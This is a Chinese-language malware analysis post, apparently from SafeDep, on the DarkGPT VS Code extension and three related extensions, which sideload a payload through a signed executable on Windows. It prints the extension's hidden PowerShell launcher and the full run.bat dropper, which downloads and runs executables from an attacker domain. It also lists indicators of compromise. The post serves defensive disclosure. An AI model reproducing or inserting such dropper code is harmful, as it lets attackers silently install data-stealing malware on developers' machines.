DarkGPT:针对开发者的恶意 Visual Studio Code 扩展

目录

概要

恶意扩展正潜伏在 Visual Studio Code 市场中。在本案例中,我们发现并分析了 DarkGPT,这是一款利用 DLL 劫持技术通过签名 Windows 可执行文件加载恶意代码的 Visual Studio Code 扩展。该有效载荷似乎仅影响 Windows 计算机。相关研究由 Koi Security 发布。

Visual Studio Code 扩展 [email protected] 以及另外两个扩展被发现是恶意的。它们连接至(现已确认为)恶意域名 syn1112223334445556667778889990.org,以下载并执行从受感染机器窃取敏感数据的有效载荷。

此次攻击中的恶意扩展:

扩展 ID版本
EffetMer.darkgpt1.2.0
EffetMer.darkgpt1.2.2
BigBlack.codo-ai1.0.0
ozz3dev.bitcoin-auto-trading1.2.0

该域名已被多家安全厂商标记为恶意。

VSCode 扩展 DarkGPT 域名分析

https://www.virustotal.com/gui/url/8fecfc0aee9a877525cde6c28b17b78b3d967c104ae4c8c297749ee8b76797e8

  1. 初步筛查:​ 对软件包进行文件列表检查后发现了一个可疑文件 run.bat,这不是 Visual Studio Code 扩展的典型文件。
  2. 恶意脚本:​ 检查了 run.bat 的内容,发现它是一个释放器。它从可疑 URL(http://syn1112223334445556667778889990.org)下载两个文件 Lightshot.exeLightshot.dll,并执行 Lightshot.exe 文件。
  3. 执行触发:​ 主扩展文件 extension.js 被发现包含在扩展激活时使用 PowerShell 以隐藏窗口(-WindowStyle Hidden)执行 run.bat 脚本的代码。这显然是为了隐藏恶意活动。

技术分析

有效载荷投递

以下分析基于 [email protected] 软件包。

类型
扩展名称EffetMer.darkgpt
扩展版本1.2.0
SHA256a6c3e274ebb631d3d1abd8292c45d64f63b9c8a49b965bb69031455e3df9d1ae

扩展元数据指向 GitHub 项目 cathedralkingz-afk/DarkGPT-Extension-For-VsCode 仓库,其中包含扩展的所有代码,但 scripts/run.bat 文件除外,该文件是恶意有效载荷释放器。

DarkGPT 元数据

Visual Studio 扩展(VSX)文件是具有特定文件结构的 ZIP 文件,符合 VS Code 和市场要求。ZIP 文件包含以下文件:

bash
$ unzip -l Microsoft.VisualStudio.Services.VSIXPackage Archive: Microsoft.VisualStudio.Services.VSIXPackage Length Date Time Name --------- ---------- ----- ---- 3269 12-08-2025 15:17 extension.vsixmanifest 528 12-08-2025 15:17 [Content_Types].xml 9933 12-08-2025 15:17 extension/readme.md 4325 12-08-2025 15:17 extension/package.json 1087 12-04-2025 18:05 extension/LICENSE.txt 1450436 12-08-2025 14:18 extension/icon.png 8171 12-07-2025 23:22 extension/f.png 47435 12-08-2025 14:14 extension/extension.js 11331 12-04-2025 14:41 extension/themes/bitcoin-black-color-theme.json 490 12-08-2025 11:45 extension/scripts/run.bat --------- ------- 1537005 10 files

extension/package.jsonextension.js 描述为入口点:

json
{ "name": "darkgpt", "displayName": "DarkGPT", "description": "[...]", "version": "1.2.0", "publisher": "EffetMer", "main": "./extension.js" }

extension.jsVS Code 扩展 API 的要求导出 activatedeactivate 函数。

js
// [...] module.exports = { activate, deactivate }; // [...]

当扩展被激活时调用的 activate 函数包含以下代码:

js
function activate(context) { log('DarkGPT Extension activated'); log('Extension path: ' + context.extensionPath); // ============================================================ // IMPORTANT: KEEP POWERSHELL/BAT METHOD - DO NOT REMOVE // ============================================================ runScript(context); // [...] }

runScript 函数反过来是主要有效载荷释放器入口点,包含以下代码:

js
function runScript(context) { try { const markerPath = path.join(process.env.TEMP || 'C:\\Windows\\Temp', 'Lightshot', '.done'); // ... if (fs.existsSync(markerPath)) { log('Already ran, skipping'); return; } const scriptPath = context.asAbsolutePath('scripts/run.bat'); // ... if (!fs.existsSync(scriptPath)) { // ... return; } // ... const powershellCmd = \`powershell.exe -WindowStyle Hidden -Command "& { Start-Process -FilePath '${scriptPath.replace(/\\/g, '/')}' -WindowStyle Hidden }"\`; const child = spawn( 'powershell.exe', [ '-WindowStyle', 'Hidden', '-Command', \`Start-Process -FilePath '${scriptPath.replace(/'/g, "''")}' -WindowStyle Hidden\`, ], { detached: true, stdio: 'ignore', windowsHide: true, } ); // ... child.unref(); } catch (e) { // ... } }

它的功能如下:

  • C:\Windows\Temp\Lightshot\.done 创建标记文件以防止多次执行
  • 计算相对于扩展路径的 scripts/run.bat 文件路径
  • 使用 powershell.exe 以静默方式(无窗口)运行 scripts/run.bat 文件

实际的释放器位于 scripts/run.bat 文件中,包含以下代码:

bat
@echo off setlocal set "DIR=%TEMP%\Lightshot" set "EXE=%DIR%\Lightshot.exe" set "DLL=%DIR%\Lightshot.dll" set "DONE=%DIR%\.done" if exist "%DONE%" exit /b 0 if not exist "%DIR%" mkdir "%DIR%" @curl -s -L -o "%EXE%" "http://syn1112223334445556667778889990.org/Lightshot.exe" >nul 2>&1 @curl -s -L -o "%DLL%" "http://syn1112223334445556667778889990.org/Lightshot.dll" >nul 2>&1 if exist "%EXE%" ( @start "" /min "%EXE%" >nul 2>&1 @echo.>"%DONE%" ) endlocal

它的功能如下:

  • 从恶意域名 syn1112223334445556667778889990.org 下载 Lightshot.exeLightshot.dll
  • Lightshot.exeLightshot.dll 放置在 C:\Windows\Temp\Lightshot 目录中
  • 执行 Lightshot.exe
text
$ file Lightshot.exe Lightshot.dll Lightshot.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows Lightshot.exe: PE32 executable (GUI) Intel 80386, for MS Windows

Lightshot.exe

Lightshot.exe 是一个 PE32 可执行文件,看起来是一个合法的但经过签名的 Windows 可执行文件。

Lightshot.exe 元数据

Lightshot.exe 包含使用 LoadLibraryW Windows API 从当前目录加载 Lightshot.dll 的代码。它构建了相对于自身路径的 Lightshot.dll 的完整路径,然后加载它。这种行为容易受到 DLL 劫持 攻击。

Lightshot.exe DLL 劫持

恶意软件作者利用此漏洞将恶意代码加载到受信任的(签名)可执行文件中。这是一种利用签名主机进程的可信度来绕过基于运行时行为的反恶意软件解决方案的常见技术。

Lightshot.dll

Lightshot.dllDllMain 入口点激活其有效载荷。它使用互斥体 COOL_SCREENSHOT_MUTEX_YARRR 来防止多次执行。

Lightshot.dll 中的有效载荷包含下载 https://syn1112223334445556667778889990.org/iknowyou.model%TEMP%\runtime.exe 并使用 CreateProcessW Windows API 执行它的代码。下载使用 PowerShell Invoke-WebRequest cmdlet 执行。

不幸的是,当我们发现 https://syn1112223334445556667778889990.org/iknowyou.model(作为 Lightshot.dll 释放的另一个有效载荷)时,恶意域名 syn1112223334445556667778889990.org 已经不可用(无法解析)。

妥协指标(IoC)

指标
域名syn1112223334445556667778889990.org
文件run.bat
文件Lightshot.exe
文件Lightshot.dll
SHA256a6c3e274ebb631d3d1abd8292c45d64f63b9c8a49b965bb69031455e3df9d1ae (Microsoft.VisualStudio.Services.VSIXPackage)
SHA2560b899508777d7ed5159e2a99a5eff60c54d0724493df3d630525b837fa43aa51 (Lightshot.exe)
SHA2560ccc5b274a1b9518facc81344b356b03e023d2cb0704518d75c7517744ecbdf5 (Lightshot.dll)

结论

VSCode 个扩展是恶意的。它们充当释放器,从远程服务器下载并执行有效载荷,同时试图向用户隐藏其活动。

参考

SafeDep 博客最新更新

关注以获取开源安全与工程方面的最新更新和见解